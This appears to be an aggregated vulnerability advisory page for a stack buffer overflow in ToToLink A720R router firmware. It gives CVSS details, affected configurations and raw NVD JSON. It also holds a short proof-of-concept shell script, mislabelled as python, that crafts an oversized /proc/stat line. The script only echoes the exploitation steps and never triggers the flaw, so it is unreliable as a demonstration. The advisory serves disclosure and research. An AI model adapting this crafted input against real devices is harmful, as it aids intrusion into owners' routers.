Security Vulnerability Report
中文
CVE-2025-60685 CVSS 5.1 MEDIUM

CVE-2025-60685

Published: 2025-11-13 16:15:52
Last Modified: 2025-11-17 21:50:15

Description

A stack buffer overflow exists in the ToToLink A720R Router firmware V4.1.5cu.614_B20230630 within the sysconf binary (sub_401EE0 function). The binary reads the /proc/stat file using fgets() into a local buffer and subsequently parses the line using sscanf() into a single-byte variable with the %s format specifier. Maliciously crafted /proc/stat content can overwrite adjacent stack memory, potentially allowing an attacker with filesystem write privileges to execute arbitrary code on the device.

CVSS Details

CVSS Score
5.1
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:L

Configurations (Affected Products)

cpe:2.3:o:totolink:a720r_firmware:4.1.5cu.614_b20230630:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:totolink:a720r:-:*:*:*:*:*:*:* - NOT VULNERABLE
ToToLink A720R Router firmware V4.1.5cu.614_B20230630

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/bin/bash # CVE-2025-60685 PoC - ToToLink A720R sysconf Stack Buffer Overflow # This PoC demonstrates how to trigger the buffer overflow by modifying /proc/stat # Create malicious /proc/stat content with oversized CPU line # The sscanf with %s will write beyond buffer boundaries MALICIOUS_STAT=$(printf 'cpu %9999999s 0 0 0 0 0 0 0 0 0\n' | tr ' ' 'A') echo "[*] Preparing malicious /proc/stat content..." echo "$MALICIOUS_STAT" > /tmp/malicious_stat # Backup original /proc/stat if possible if [ -r /proc/stat ]; then echo "[*] Backing up original /proc/stat" cp /proc/stat /tmp/original_stat 2>/dev/null || true fi # For demonstration, this shows the concept # In real attack, attacker needs filesystem write access to /proc/stat echo "[*] To exploit: Replace /proc/stat with malicious content" echo "[*] Then trigger sysconf binary to read /proc/stat" echo "[*] This will cause stack buffer overflow in sub_401EE0 function" # Cleanup echo "[*] Cleaning up..." rm -f /tmp/malicious_stat

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-60685", "sourceIdentifier": "[email protected]", "published": "2025-11-13T16:15:52.470", "lastModified": "2025-11-17T21:50:14.877", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A stack buffer overflow exists in the ToToLink A720R Router firmware V4.1.5cu.614_B20230630 within the sysconf binary (sub_401EE0 function). The binary reads the /proc/stat file using fgets() into a local buffer and subsequently parses the line using sscanf() into a single-byte variable with the %s format specifier. Maliciously crafted /proc/stat content can overwrite adjacent stack memory, potentially allowing an attacker with filesystem write privileges to execute arbitrary code on the device."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:L", "baseScore": 5.1, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.5, "impactScore": 2.5}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-121"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:totolink:a720r_firmware:4.1.5cu.614_b20230630:*:*:*:*:*:*:*", "matchCriteriaId": "BCA249C9-68D4-48FE-B0CA-77ECF53DDE3B"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:totolink:a720r:-:*:*:*:*:*:*:*", "matchCriteriaId": "A1DE5168-B787-462C-B024-2B8F73759034"}]}]}], "references": [{"url": "http://totolink.com", "source": "[email protected]", "tags": ["Broken Link"]}, {"url": "https://github.com/yifan20020708/SGTaint-0-day/blob/main/ToToLink/ToToLink-A720R/CVE-2025-60685.md", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://www.totolink.net/", "source": "[email protected]", "tags": ["Product"]}]}}